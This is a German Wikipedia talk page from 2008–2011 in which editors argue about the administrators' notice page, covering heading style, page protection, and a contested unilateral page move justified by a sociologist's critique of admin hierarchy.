ach verflucht, wir haben ja noch ein paar wochen "sommer" (CEST). hast natuerlich recht. also war die sperre ca. 1h lang. -- seth 13:42, 8. Okt. 2008 (CEST)

Zum Aktuellen Thema

• Hilfe:FAQ Rechtliches das gibt es schon. - könnte das jemand auf die Vorderseite einfügen? Danke. --92.78.80.240 18:37, 11. Nov. 2008 (CET)

Überschriften

Ich fände es gut, wenn auf den Administratoren/Notizen aussagekräftigere Überschriften verwendet würden. Da diese Funktionsseite von möglichst vielen Admins gelesen werden sollte, hilft es sehr, wenn man an der Überschrift erkennen kann worum es geht und daraus vielleicht gleich schließen kann, ob man sich die Sache näher anschauen möchte. Das geht jetzt gegen niemanden persönlich, aber wenn auf hundert Beobachtungsliste so etwas wie "[9]", "Zur Info", "Frage", "Wo ist ...", "Moin", "mit dem Benutzer" usw. auftaucht, dann dann hilft das niemandem weiter. Unklare Überschriften können ansonsten ja vielleicht auch im Nachhinein von anderen angepasst werden. P.S: Es war gar nicht so einfach, das hier nicht mit "Ich fände..." zu übertiteln --Tinz 21:11, 23. Jan. 2009 (CET)

fänd ich auch. -- blunt. 21:18, 23. Jan. 2009 (CET)

+1 Auch für Nicht-Admins, die die Seite beobachten, sind aussagekräftige Überschriften nützlich. Gilt aber eigentlich für alle Meta- und Diskussionsseiten. --TRG. 00:20, 24. Jan. 2009 (CET)

Grundsätzlich richtig. Und ich bekenne mich zur echt dämlichen Überschrift "mit dem Benutzer". Grund war allerdings der Wunsch, dass der Benutzer das möglichst nicht mitkriegt und sich seine überflüssige Trollerei nicht auch noch auf diese Seite ergießt. Ich schätze mal, dass bei mancher kryptischen Überschrift solcher Gedanke mitspielt. --Logo 10:02, 24. Jan. 2009 (CET)

+1--ot 10:05, 24. Jan. 2009 (CET)meine zustimmung galt logo insbesondere

würde ich ebenfalls begrüßen --Hufi @ 10:09, 24. Jan. 2009 (CET)

Und der Wunsch nach dieser Art von security by obscurity kam dir überhaupt nicht kindisch vor? -- Carbidfischer 10:15, 24. Jan. 2009 (CET)

am besten wäre es natürlich, diese seite sofort auf eine verschlüsselte, geheime, und ausschließlich admins zugängliche website zu packen. am end' kriegen die benutzer nochmal was mit, das muss verhindert werden. --snotty diskussnot 10:43, 24. Jan. 2009 (CET)

so ne seite haben wir schon, hier ist nur für die sachen die ihr lesen dürft. der geheime zirkel trifft sich wo anders. **betriebsgeheimnis ausplauder** -- blunt. 11:17, 24. Jan. 2009 (CET)

Nee Blunt: Die Seite die Du meinst, ist die mit der wir alten Hasen euch Frischlingen vormachen, daß ihr in einen Geheimzirkel aufgenommen wurdet. Die echte Party geht ganz woanders ab! :) --Henriette 12:03, 24. Jan. 2009 (CET)

Mist, und teilt ihr wahrscheinlich die Bertelsmann-Millionen unter euch auf! -- blunt. 12:35, 24. Jan. 2009 (CET)

millionen? das waren nur 30 silberlinge, blunt. --snotty diskussnot 02:46, 25. Jan. 2009 (CET)

Spaßbremsen, allesamt.−Sargoth 12:05, 24. Jan. 2009 (CET)

Vollsperrung

Die Sperrung mag ihre Richtigkeit haben, nicht jeder Benutzer muss über jede Notiz diskutieren können. Was wenn nun ein Benutzer eine sinvolle Notiz an Admins hinterlassen möchte/muss? Auf diese Disk ("keine [...] Hinweisseite für Administratoren")? Auf FZW (zu viel Geflimmer, geht unter)? Auf AAF (macht für eine Notiz keinen Sinn)? Auf AAF fragen, die Nachricht hier zu hinterlassen (...)? Einen Admin im Chat fragen dies zu tun (es ist zu oft keiner erreichbar, einen Text zu formulieren, in den Channel zu posten usw. hat mit dem Thema des Chats nichts mehr zu tun)? Eine neue Seite eröffnen (wird doch eh kein Admin lesen)? —Wuzur 17:13, 4. Feb. 2009 (CET)

Hallo Wuzur. Warum macht nochmal AAF für eine Notiz keinen Sinn? Gruß, --Gereon K. 17:27, 4. Feb. 2009 (CET)

Zum einen lesen da die meisten Admins eh nicht mit (da bleiben viele Anfragen, die von etwas erfahreneren Admins bearbeitet werden können, einfach liegen), zum anderen wiederspricht es der Logik auf einer Seite für Anfragen einen Hinweis (lass mich was aktuelles nehmen, auch wenn es von einem Admin kam) zu großen Rangeblocks zu platzieren. —Wuzur 17:41, 4. Feb. 2009 (CET)

Hervorhebung von WP:AAF

Wäre es nicht gut, im Seitenintro Wikipedia:Administratoren/Anfragen grafisch hervorzuheben oder mindestens irgendwie separiert an erste Stelle zu setzen? Es dünkt mich, die meisten "Irrläufer" hätten dorthin gewollt. --81.62.247.28 07:23, 27. Sep. 2010 (CEST)

Mich dünkt, daß es so viele Irrläufer gar nicht gibt … Wenn sich mal einer auf die Seite verirrt, dann wird er eben freundlich zur korrekten Seite verwiesen. Der aktuelle „Fall“ (ich vermute, Du beziehst Dich auf die Beatmusik?) wäre bei den AAF auch falsch: Der gehört eher auf FZW oder noch besser auf Wikipedia Diskussion:Assoziative_Verweise. --Henriette 08:04, 27. Sep. 2010 (CEST)

Trollecke

Ist GSV nicht die Abkürzung für Geschlechtsverkehr? -- Widescreen ^® 20:43, 7. Okt. 2010 (CEST)

Waere sicher auch 'ne interessante Seite. fossa net ?! 20:59, 7. Okt. 2010 (CEST)

Lemmataverschiebung

Wie Christian Stegbauer et al. auf S. 178 im Buch Wikipedia - Das Raetsel der Kooperation richtig anmerken, verstoesst dieses Lemma gegen WP:A. Administratoren sollen keine herausgehobene Stelle haben und anders als bei WP:A/A werden hier auch nicht ihre erweiterten Rechte gebraucht. Deshalb verschiebe ich das Ding auf Wikipedia:Notizen. fossa net ?! 14:48, 7. Okt. 2010 (CEST)

Darüber wird diskutiert und das entscheidest Du nicht in einer Hauruck-Aktion. Was Hr. Stegbauer möchte ist völlig egal. Dies ist eine Funktionsseite für Admins und das bleibt sie auch. --Capaci34 Ma sì! 14:54, 7. Okt. 2010 (CEST)

jo, klar stattdessen entscheidest Du halt alleine, aber bist ja auch Mitglied der Nomenklatura-Gilde. fossa net ?! 14:55, 7. Okt. 2010 (CEST)

Wie zu erwarten war: Das eherne Gesetz der Oligarchie: Benutzer:Fossa/WZKMZ schlaegt WP:SM um Laengen und Capaci34 (Diskussion • Beiträge • gelöschte Beiträge • hochgeladene Dateien • SBL-Log • Sperr-Logbuch • globale Beiträge • SUL • Logbuch • sperren) weiss es besser als zwei promovierte Soziologen auf dem Gebiet. Widerlich. fossa net ?! 14:55, 7. Okt. 2010 (CEST)

stell doch einen Löschantrag ...Sicherlich ^{Post / FB} 14:57, 7. Okt. 2010 (CEST)

Kein Argument, wie schon das letzte Mal. Seit wann entscheiden Soziologen, was hier in der WP zu geschehen hat? Das "Widerlich" habe ich als absurd überlesen. --Capaci34 Ma sì! 14:58, 7. Okt. 2010 (CEST)

Das Argument ist: Verstoss gegen WP:A, aber Du brauchst ja keine Argumente, bloss Knoepfe. Und schoen zu sehen, wie Kritik von Aussen vom System abgebuegelt wird. Selbst wenn ein Wikipedia-Insider sie umsetzt. fossa net ?! 15:04, 7. Okt. 2010 (CEST)

nach BKs: Widerlich ist das richtige Wort für Deine Annahme, dass promovierte Soziologen irgendetwas besser wüssten, als sonst jemand. Dein Standesdünkel ist unerträglich anmaßend. --Geher 14:59, 7. Okt. 2010 (CEST)

Ach ja, lieber Admin Geher, gehst Du zum Automechaniker oder zum Mathematiker, wenn Du 'nen Beinbruch hast? Peinlich, zu glauben, andere Leute haetten jahrelang was studiert und gelernt und wuessten trotzdem nicht mehr als der Durchschnittsmensch darueber. fossa net ?! 15:06, 7. Okt. 2010 (CEST)

Huch, Mr. Fossa tries to pull rank. Wie peinlich. Mir fallen auf Anhieb ein paar promovierte Menschen mit Adminrechten ein: gilt deren Wort dann unter Umständen ähnlich viel wie das von Fossas? Oder muss es Soziologie sein, das ist ja die neue Leitwissenschaft. So ein Stuss. --Minderbinder 15:01, 7. Okt. 2010 (CEST)

Noe, pull the rank ist Bloedsinn, blosz weil Stegbauer und ich in einer kleinen Sache mal uebereinstimmen. fossa net ?! 15:15, 7. Okt. 2010 (CEST)

Oha. Wenn also Herr Fossa und Herr Stegbauer übereinstimmen, ist das ab jetzt Wikipedia-Gesetz. Na gut, daß es dann nicht mehr die "Diktatur" der 300 Admins, sondern endlich die gedeihliche Diktatur der zwei Soziologen gibt. sing: "Die Soziologie, die Soziologie, die hat immer Recht, und Soziologen, bleiben wir dabei..." Marcus Cyron - Talkshow 16:20, 7. Okt. 2010 (CEST)

<BK hoch drei vier >

Mönsch Fossa, das Idiom lautet „to pull rank [on someone]“, eine Redewendung „to pull the rank“ gibt es nicht. Schlag's doch mal nach, dann kannst du vieleicht sinnvoller entgegnen. Ich bin davon ausgegangen, dass du das Idiom kennst. Du bezeichnest dich als einer von zwei promovierte[n] Soziologen auf dem Gebiet: Fossa und Stegbauer, Stegbauer und Fossa? Wohingegen Capaci34, nicht promoviert ist (wer weiß?), ergo im Vergleich zu Fossa nur ein unwissender Oligarch. Na wenn das mal kein Autoritätsargument ist. Bei Elian würde ich das ja noch hinnehmen, aber bei dir? Ich habe deine Doktorarbeit quergelesen, wenn ich mich recht entsinne, war das keine Arbeit über Online-Communities. Wenn du dich als Wikipedist in Academia positionieren willst und kannst, dann kann ich nur sagen: More power to you. Das kann ja noch werden. Aber hier sollte doch das Argument zählen. Und keine Doktorurkunde. Schon gar nicht, wenn die Doktorarbeit und bisherige wissenschaftliche Veröffentlichungen nicht einschlägig sind. --Minderbinder 16:18, 7. Okt. 2010 (CEST)

LA? Pa. Damit die Admingilde wieder nichtöffentlich (IRC) verhandelt (tut sie zwar sowieso, aber was solls)? Hier liest sie wenigstens ab und zu den Senf der Normalsterblichen :) --Matthiasb (CallMeCenter) 15:01, 7. Okt. 2010 (CEST)

Und YourEyesOnly (Diskussion • Beiträge • gelöschte Beiträge • hochgeladene Dateien • SBL-Log • Sperr-Logbuch • globale Beiträge • SUL • Logbuch • sperren) zementiert das ganze ohne Not und ohne WP:WAR. Schoener kann man die Nomenklatura-These gar nicht belegen. Vielen Dank. fossa net ?! 15:04, 7. Okt. 2010 (CEST)

Wenn sie stimmt und ehern ist, ist es unlogisch sich darüber aufzuregen.--Pacogo7 15:11, 7. Okt. 2010 (CEST)

nicht unlogisch, aber sinnlos, da hast Du recht. fossa net ?! 15:13, 7. Okt. 2010 (CEST)

Du könntest Dich alternativ über den Zweiten Hauptsatz aufregen, falls Dir das ständige Verlinken des ehernen Gesetzes auf die Dauer zu langweilig wird – das ist sogar mal echte Wissenschaft. --Tinz 15:43, 7. Okt. 2010 (CEST)

Aus dem zweiten HS folgt eigentlich, dass es keine ehernen Gesetze geben kann. --Wiggum 15:57, 7. Okt. 2010 (CEST)

(BK) Soviel ich weiß sollten Soziologen bei der Beobachtung autopoetischer Systeme, wie der Wikipedia, darauf achten nicht selbst Bestandteil der Autopoesis des Systems zu werden. Was Herrn Stegbauer ja nun misslungen wäre.--Gruß Kriddl Anschreibbeantworter 15:04, 7. Okt. 2010 (CEST)

Fossa, gibt es keine Artikel zum vandalieren oder sind die alle gesperrt? liesel 15:06, 7. Okt. 2010 (CEST)

Kriddl, ist falsch, Deine Annahme. Aber selbst wenn sie stimmen wuerde, haette ich gerne gewusst, inwiefern Stegbauer sie verletzt hat? Das aber dann bitte auf meiner Disku, denn das verzettelt die Diskussion hier. fossa net ?! 15:11, 7. Okt. 2010 (CEST)

Beantrage Verschiebung aller Wikipedia-Inhalte nach Wikipedia:Einheitsbrei, alternativ Wikipedia:Ursuppe, damit keine Gruppe, kein Gegenstand und kein Individuum unangemessen von anderen abgegrenzt wird. Oh und die Annahme, dass Soziologen irgendwas sinnvolles über die Welt aussagen ist ja auch allerliebst.--Wiggum 15:09, 7. Okt. 2010 (CEST)

Das Argument ist albern und verstoesst gegen den Geist von WP:BNS. fossa net ?! 15:11, 7. Okt. 2010 (CEST)

Das erste oder das zweite? Btw, hier verstößt immer irgendwas gegen irgendwas anderes, was mal irgendwer irgendwo hingeschrieben hat. Für Regelwichserei hätteste Rechtsverdreher werden sollen.--Wiggum 15:15, 7. Okt. 2010 (CEST)

Ach, das ad hominem-Gegruetze gegen Soziologen? Das hatte ich ganz uebersehen. Dann nimm mich doch als Wikifant oder Mathematiker wahr. Blosz weil man die herausgehobene Stelle von Administratoren geringfuegig gemaess WP:A einschraenken will, ist nicht alles Einheitsbrei. Aber schoen, dass ausnahmslos alle Administratoren, die sich hier aeusseren gegen die Verschiebung sind. fossa net ?! 15:34, 7. Okt. 2010 (CEST)

Quetsch: Das ist gelogen oder nicht richtig gelesen, jedenfalls stellt es die Situation nicht dar. Ich hab mich noch gar nicht positioniert, ob ich dafür oder dagegen bin. Port(u*o)s 15:46, 7. Okt. 2010 (CEST)

Das sog. ad hominem Gegrütze hast Du selbst herausgefordert. Bloss weil zwei promovierte Soziologen (vgl. Deine eigenen Worte oben) der Auffassung sind, mal so einfach ohne jeglichen Konsens eine Funktionsseite zu verschieben, darf ich (Capaci34, s.o.) das nicht rückgängig machen, weil ich ahnungslos bin (hast Du mir oben unterstellt) - und "Widerlich" durfte ich mir auch noch bieten lassen. Und dumm bin ich natürlich auch, bin ja kein promovierter Soziologe. --Capaci34 Ma sì! 15:43, 7. Okt. 2010 (CEST)

Und das ist natürlich nur ein Beweis der "Cliquenbildung" und so gar kein Anhaltspunkt, dass du ggf. falsch liegen könntest..... --Guandalug 15:36, 7. Okt. 2010 (CEST)

Ich versteh nicht, was Fossa so missfällt: Solange er hier ganz einfach mitschreiben kann ist doch alles bestens und garantiert unelitär... --Geos 15:38, 7. Okt. 2010 (CEST)

Noe, Guandalug, das speziell hat nichts mit Cliquenbildung, sondern mit Ideologie und Hegemonie zu tun. Insbesondere in Gaensefuesschen sind daher extrem irrefuehrend (Strohmann-Argument). fossa net ?! 15:48, 7. Okt. 2010 (CEST)

Du bist (hier) der Einzige, der in dieser Seite eine "herausgehobene Stellung von Administratoren" sehen will. Mahn doch einfach alle Benutzer ab, die das Script benutzen, bei dem hinter dem Benutzernamen irgendwas angezeigt wird, wenn sie in irgendeiner Gruppe außer Benutzer und Sichter sind.--Wiggum 15:45, 7. Okt. 2010 (CEST)

(Multi-BK) Ich würd schon gerne wissen, inwiefern eine Seite zur Koordination der Admins gegen irgendwelche Richtlinien verstoßen sollte, meinzwegen auch gegen allgemeine theoretische Betrachtungen von Stegbauer. Die Biologen koordinieren ihre Arbeit, die Frankfurter wie auch die Wintersportler, die Wrestling- wie die Comicfans, die Militärfanatiker dito, aber die Administratoren, die zudem noch über eigens abgegrenzte, klar definierte Funktionen in Wikipedia verfügen (im Gegensatz zu den vorhergenannten Gruppen), sollen dies nicht dürfen? Grübelnd Port(u*o)s 15:18, 7. Okt. 2010 (CEST)

Wer bitte ist eigentlich Stegbauer und was hat der sich hier einzumischen? --Geos 15:20, 7. Okt. 2010 (CEST)

Ein promovierter Soziologe wohl. Also gewissermassen die Zuckerkörnchen auf der Kirsche auf der Sahne auf dem Menschheitspudding. Ganz oben. Und deshalb darf der auch entscheiden, wo sich WP:Admins zu unterhalten haben. --Capaci34 Ma sì! 15:21, 7. Okt. 2010 (CEST)

Laut Fossas Definition - und des Clubs... --Geos 15:23, 7. Okt. 2010 (CEST)

Wo kommt denn der Club, ich nehme an, es geht um die Diderot-Clubs, nicht Wikimedia Deutschland, bei denen der sperrende Admin YourEyesOnly (Diskussion • Beiträge • gelöschte Beiträge • hochgeladene Dateien • SBL-Log • Sperr-Logbuch • globale Beiträge • SUL • Logbuch • sperren) im Vorstand sitzt her? Ich habe ihn nicht erwähnt. fossa net ?! 15:41, 7. Okt. 2010 (CEST)

BK:Zitat der gar nicht veränderten Intro: "Die Administratoren-Notizen dienen dazu, die Zusammenarbeit unter den Administratoren besser zu koordinieren und um sie auf wichtige oder außergewöhnliche Vorgänge in der Wikipedia hinzuweisen. Die Seite ist nicht der richtige Ort, um auf Konflikte zwischen Benutzern oder Missbrauch von Adminrechten aufmerksam zu machen." Es geht schon nach dieser einleitenden Erklärung nicht um eine "herausgehobene Stelle", sondern um eine schlichte Organisationsseite; es handelt sich also nicht um ein (verschlossenes) Hinterzimmer, was schon aus der Öffentlichkeit erhellt. Der Ansatz mit den abgegriffenen, überall, je nach Diskussionsverlauf schnell einsetzbaren Schlagworten "Gesetz der Oligarchie", "Nomenklatura" etc., die natürlich auf einen entsprechenden Artikel verlinkt werden, scheint mir erneut pseudokritisch, eine Form der aufmerksamkeitserhaschenden Marotte. Fossa mag das tatsächlich glauben - es ist aber wirklichkeitsfern bzw. setzt den eigenen Standpunkt als unentwegt kritisch gegenüber einer scheinbar "unkritischen" "Oligarchie" voraus, die es angesichts der objektiven Unterschiede zwischen den Admins gar nicht gibt, gar nicht geben kann, mithin ideologisch ist. "Widerlich" könnte man umgekehrt die... Anmaßung von Soziologen empfinden, die, ohne Kenntnis einzelner Abläufe, in ihrer "Hinterstube" Phänomene meinen beurteilen zu können - und diese Beurteilung dann marktgerecht darstellen. Wie eine aus unterschiedlichen Soziologen verschiedener Strömungen sich zusammensetzende Gruppe dies alles beurteilt, könnte durchaus interessant sein, steht aber auf einem anderen Blatt. Gruß,--Hans J. Castorp 15:23, 7. Okt. 2010 (CEST)

+1, schön gesagt --Geos 15:30, 7. Okt. 2010 (CEST)

Zur Überleitung für den Folgeabschnitt: Es wirkt einigermaßen peinlich gerade für diese zentrale Projektseite, wenn mal der Berufsstand der Juristen, mal die facultas der Soziologen (und morgen welche Gruppierung, aus deren Reihen einer sich angreifbar wird verbreitet haben?) für diese oder jene Äußerung eines Kollegen in Gesamthaftung genommen wird. (Hans J. Castorp hat das ja noch glücklicherwese produktiv gewendet.)

Stegbauer hat ein anregendes Buch geschrieben, das bei manchen offenbar eine Spätzündung freisetzt. Wer meint, das Projekt käme gut ohne Administratoren aus – Stegbauer wohl eher nicht –, der hat von den Fundamenten der Wikipedia erheblich zu wenig verstanden. Wer mehr Durchblick hat, wird auch diese zentrale Koordinationsseite – offen für alle Mitdenkenden – keinesfalls für überflüssig oder für etwas unter „ferner liefen“ halten. Das muss also Fossa nun wohl im Wesentlichen mit sich selbst ausmachen.
-- Barnos -- 16:52, 7. Okt. 2010 (CEST)

Du verkennst die Lage: es ging um eine Verschiebung, nicht um die Abschaffung von WP:A oder auch WP:A/N. Eine Koordination zwischen Admins foerdert die Cliquenbildung: Viele Normalnutzer (also nicht fossa oder widescreen oder so) kaemen gar nicht auf die Idee, auf einer Unterseite von WP:A zu editieren: Das schreckt sie nur ab, das macht die eh schon bestehenden Hierachien noch steiler. Stegbauer spricht von einer Führungsposition und ich gebe ihm da recht (keinesfalls immer). Laut der Ideologieseite ist eine solche Fuehrung aber auch unerwuenscht. Hier wird ein kleines Fitzelchen Macht mit aller Macht verteidigt. Nochmal: Durch die Verschiebung ergibt sich nichts anderes als, dass die Editbarriere fuer Nicht-Admins geringer wird. WP:A wird dadurch nicht richtig, aber naehert sich geringfuegig der Realitaet an. fossa net ?! 17:13, 7. Okt. 2010 (CEST)

Ja und? Hallo, jemand zu Haus? Dir muss doch klar sein, dass so eine undiskutierte Aktion erst einmal die Befürchtung weckt, dass es Dir eben doch primär um die Abschaffung dieser Seite ginge – ein Eindruck, der sich bei mir dann nach Deinen ersten Äußerungen verdichtete. Im Endeffekt zementierst Du mit solchen Aktionen Strukturen, von denen Du vorgibst, sie lösen, auflockern oder bekämpfen zu wollen. Tolle Wurst, und ganz produktiv, findet Port(u*o)s 17:25, 7. Okt. 2010 (CEST)

Ich habe schon viele Lemmata verschoben, ohne dass vermutet wurde, dass ich insgeheim einen WP:SLA oder WP:LA stellen wollte, die WP:LR sund mir auch bekannt, ich habe bestimmt schon 300 LAs gestellt. Es ist doch vielmehr eher so, dass hier so mancher allergisch gegen Stegbauer und/oder Fossa reagiert hat, statt das ganz oben genannte Argument ueberhaubt inhaltlich in betracht zu ziehen. Ich sehe auch nicht ein, dass ich hinterum jemanden „weniger verdaechtig“ bitten soll, fuer mich Aktionen zu machen, die eigentlich recht banal sind. fossa net ?! 17:34, 7. Okt. 2010 (CEST)

Na ja, banal ist es ja nun auch wieder nicht. Viele der umseitig geführten Diskussionen betreffen ja wirklich genau die Admins bzw. deren Admintätigkeiten. Unter einem allgemeinen WP:Notizen oder so würden entsprechende Threads dann möglicherweise untergehen - z.B. die gerade recht lebhaft geführte Debatte über den privaten Datenabgreifversuch eines Journalisten, der sich dazu auf seine eigens dafür erstandene Homepage das offizielle Wappen einer Uni pappt. Diese Umfrage soll nur unter Admins durchgeführt werden. Port(u*o)s 17:42, 7. Okt. 2010 (CEST)

Dann zeige mir mal eine Diskussion, die nur Admins betrifft und nicht besser auf WP:A/A aufgehoben waere. fossa net ?! 17:45, 7. Okt. 2010 (CEST)

Derzeit gerade die Threads umseitig unter #1 und unter #3. Port(u*o)s 18:35, 7. Okt. 2010 (CEST)

Eine Koordination zwischen Admins foerdert die Cliquenbildung. Aha. Das belegst Du mir doch bitte gerade mal. Wissenschaftlich. Mit WP:Q und so... --Capaci34 Ma sì! 17:29, 7. Okt. 2010 (CEST)

Das ist eigentlich so banal, dass man es nicht belegen muss, aber ich habe es sogar belegt mit Stegbauer, der nennt das nicht Cliquen- sondern Elitenbildung. fossa net ?! 17:34, 7. Okt. 2010 (CEST)

Nö Fossa, jetzt biste auf'm Holzweg: die Cliquenbildung in der Wikipedia wird durch die diversen Stammtische und Redaktionen unterstützt. Wenn's nach mir ginge, würden die abgeschafft, aber der große Meister meint ja, das wäre förderlich für die Community. --Matthiasb (CallMeCenter) 18:09, 7. Okt. 2010 (CEST)

Die Cliquenbildung wird natuerlich auch durch Stammtische, Wikipedia:IRC, Redaktionen usw. unterstuetzt, das kannste aber nicht verhindern, bloss offenlegen und moeglichst viele Leute daran teilhaben lassen, weshalb ich ja auch WP:SK unterstuetzt habe und zu diversen Stammtischen teilweise ja sogar anreise, der naechste, wo ich hingehen werde, ist Wikipedia:Hannover. Hier werden aber Cliquen noch zusaetzlich formalisiert, also ihnen noch mehr Legitimation und damit Macht eingeraeumt.fossa net ?! 18:26, 7. Okt. 2010 (CEST)

und du nimmst daran teil um teil der clique zu werden, die leute dazu zu bringen sich nicht mehr zu treffen, das geschehen zu entlarven und darüber eine wissenschaftlich studie zu schreiben oder  ? ...Sicherlich ^{Post / FB} 18:40, 7. Okt. 2010 (CEST) bei der diskussion könnten man meinen es wäre wochenende

Wo er Recht hat, soll man ihm recht geben. Egal ob er nun Soziologe ist, oder Klempnergeselle. Und einem Mathematiker, Fossa ist ja auch das, würde man nie so ins Wort reden, weil man gar nicht versteht, wovon der spricht. Einem Sozialwissenschaftler aber reden immer alle ins Wort, da man sich über die gleichen Dinge auch Gedanken machen kann. Natürlich hat man als Geologe keine Ahnung von Soziologie, aber man kann darüber sprechen. Das bedeutet nicht, dass ein Geologe einem Soziologen etwas über Soziologie vormachen könnte. Aber gut, Admins sind ja generell über alles erhaben :o) -- Widescreen ^® 18:48, 7. Okt. 2010 (CEST)

Fossa ist auch ein Mathematiker?

Glaube ich eher nicht!

Sein - durchaus unterhaltsamer - Spieltheorie-Vortrag zeugte auf jeden Fall nicht davon.

Ansonsten gebe ich Dir im Kern schon schon Recht

Allerdings würde ich den Soziologen nie mit dem Arzt oder dem Automechaniker vergleichen. Selbst schlechte Ärzte und Mechaniker können gebrochene Beine einrenken und schienen bzw. Kurbelwellenlager wechseln.

Bei den Soziologen brauchen wir dem gegenüber vor allem die Creme. Und auch die kann selten ein konkretes, explizites Problem mit einer so großen Sicherheit lösen wie der Bäcker sicher ein Brötchen in der korrekten Konsistenz backen kann.

Fossa halte ich durchaus für eine Bereicherung der de-WP, aber wenn er postuliert, kraft seiner soziologischen Bildung der bessere Systembildner für de-WP zu sein, überschätzt er sich bzw. die Vorhersagbarkeit des Systems maßlos. Das wiederum macht kein Mathematiker - ob herausragend oder mäßig - jemals, weil jeder von ihnen ziemlich genau weiß, was er kann und was nicht. --Elop 19:46, 7. Okt. 2010 (CEST)

Es ging nicht um deterministische Vorhersehbarkeit von Systemen, sondern um eine winzige Verschiebung, um Hierachien ein winiziges kleines bisschen flacher zu gestalten. Dass Baecker und Mathematiker sich nie ueberschaetzen, also bei letzteren faellt mir, ich weiss nicht wie, WP:GSV ein, weiss auch nicht warum, muss eine lockere Schraube in meinem Gehirn sein. fossa net ?! 20:37, 7. Okt. 2010 (CEST)

GSV war ja keine SM-Aktion. Da hatte, soweit ich das überhaupt erinnernd beurteilen kann, ein gelernter Mathematiker eine Idee, die er für zielführend hielt, und hat daraufhin für Mehrheiten geworben. Er sagte, soweit ich weiß, nicht "Leute ohne Dr. rer. nat. in Mathe haben sich bitte geschlossen zu halten, da die numa ausschließlich im Reparieren von Autos, im Sezieren von Leguanen oder im Hausbau ausgebildet sind!" --Elop 22:20, 7. Okt. 2010 (CEST)

Doch, das war ein WP:SM, wurde erst nachtraeglich durch ein Meinungsbild "legitimiert". Ich sehe auch auch nicht, warum Mathematiker besonders qualifiziert fuer die Analyse Macht- und Kommunikatuionsstrukturen seien und niemand hat hier irgendwem das Wort verboten, ich finde es halt bloss bezeichnend, dass Capaci34 ohne Argument sofort revertiert hat. fossa net ?! 08:41, 8. Okt. 2010 (CEST)

Von Mathematikern kann, genau wie von Soziologen, sowohl schlaues als auch dummes Zeug kommen.

Capacis Revert war halt auch eine SM-Aktion. Er befand es aus dem bauch heraus für sinnig, die "Notizen" auf "Adminnotizen" zu verschieben, da er zu dem Spontanschluß gekommen war, die Seite diene der Koordination administrativer Arbeit. Dafür würde ich jetz nich gleich seine Sperre vorschlagen wollen ... --Elop 14:41, 8. Okt. 2010 (CEST)

Natürlich war die Verschiebung eine Art Provokation, ein Testballon. Wie heißt es immer so schön bei WP-de: mutige Entscheidungen werden gerne endlos zerredet hier. Oder war das jetzt anders gemeint? Die sachliche Kritik bleibt. Diese Seite sollte lediglich einer Aufrechterhaltung und Verbesserung der technischen Abläufe im direkten Zusammenhang mit den Adminfunktionen dienen. Diskussionen über Gründe und Folgen ihres Einsatzes, die meist von allgemeinerem Interesse sind, haben hier schon nichts mehr verloren. Es sei denn man will, dass die Anzahl der Gelegenheitsautoren in den dreistelligen Bereich sinkt. So wählt man sich sein Wahlvolk. --Gamma γ 21:07, 7. Okt. 2010 (CEST) P.S. Herrenmensch ist nix gegen Halbgott

Geplauder ohne Bezug zur Funktionsseite

Ich möchte doch sehr bitten nun nicht in unspezifisches Soziologen-Bashing zu verfallen. Die Herren König und Stegbauer sind nur zwei Exemplare dieser Gattung, Verallgemeinerungen auf alle Soziologen wohl nicht angebracht. Selten sind die lautesten Schreihälse repräsentative Vertreter ihrer Gruppe. Es gibt durchaus zahlreiche ernstzunehmende und wissenschaftlich exakt arbeitende Soziologen. --Stepro 15:41, 7. Okt. 2010 (CEST)

Oeh, bei Soziologen findet man schon viele „Schreihaelse“, ich nehme das mal positiv, als „Leute, die besonders viel negative Kritik aeussern,“ auf. Das liegt in der Natur des Faches, siehe dazu Ralf Dahrendorf, der politisch gesehen sicher kein besonderer Schreihals war, aber doch korrekt feststellte, dass Soziologie inhaerent contra statusquo ist. fossa net ?! 16:21, 7. Okt. 2010 (CEST)

Könnte man nicht Benutzer:Simplicius/Diderot-Club II nach Wikipedia:Notizen verschieben? Ich nehme an, daß Soziologen ihre helle Freude an den dort stattfindenden Diskussion haben dürften. --78.34.186.31 16:02, 7. Okt. 2010 (CEST)

ymmd *ggg* Marcus Cyron - Talkshow 16:23, 7. Okt. 2010 (CEST)

So doof waere die Idee gar nicht, wenn's im WP-Namensraum stunde gaeb's sicher weniger dümmliches Gemobbe gegen den Diddl-Club. fossa net ?! 16:24, 7. Okt. 2010 (CEST)

Aber auch mehr Moderation und weniger Auf-meiner-Benutzerseite-kann-ich-machen-was-ich-will. Glaube kaum, dass solche Beiträge lange außerhalb der Unterseiten eines instinktlosen Benutzers überleben würden.--Wiggum 16:28, 7. Okt. 2010 (CEST)

Naja, eine Organisation als Parasiten zu bezeichnen ist jedenfalls sinnvoller als dies mit einem Menschen zu tun (soll ich die diffs dazu raussuchen?), und guckstu da, auch auf WD-Seiten isses OK, solange gegen den oder die Richtige gepöbelt wird. fossa net ?! 16:35, 7. Okt. 2010 (CEST)

Könntet Ihr das bitte im Cafe fortsetzen? 
Ich beobachte nämlich diese Seite, um Hinweise für meine Adminarbeit zu bekommen. --MBq   Disk  09:08, 8. Okt. 2010 (CEST)

Dürfen Nicht-Admins auf der Projektseite Meinungen äußern?

--Ottomanisch 18:07, 23. Apr. 2011 (CEST)

klar. --goiken 18:10, 23. Apr. 2011 (CEST)

Sofern es im Rahmen der umseitigen Einleitung geschieht … ansonsten bitte woanders. --dealerofsalvation 09:44, 24. Apr. 2011 (CEST)

Wikipedia:Administratoren/Notizen vs. Wikipedia:Administratoren/Diskussionen

Liebe Admins. Als eigentlich hier nicht mitspracheberechtigter, jedoch interessierter Mitleser, würde ich gern vorschlagen, diese Seite wieder mehr gemäß Ihrem Intro:

„Die Administratoren-Notizen dienen dazu, die Zusammenarbeit unter den Administratoren besser zu koordinieren und um sie auf wichtige oder außergewöhnliche Vorgänge in der Wikipedia hinzuweisen.“

zu nutzen, nämlich als Stelle für wichtige Notizen die alle Admins lesen sollten. Für ebenso wichtige Diskussionen, die nicht alle Admins verfolgen müssen, würde sich möglicherweise Wikipedia:Administratoren/Diskussionen anbieten. --Krd 21:46, 4. Jul. 2011 (CEST)

Aber woran genau machen wir diesen Unterschied fest? --Toter Alter Mann 21:51, 4. Jul. 2011 (CEST)

Im Vergleich von z.B. A (und folgenden) und B dürfte der Unterschied mMn klar sein. --Krd 22:03, 4. Jul. 2011 (CEST)

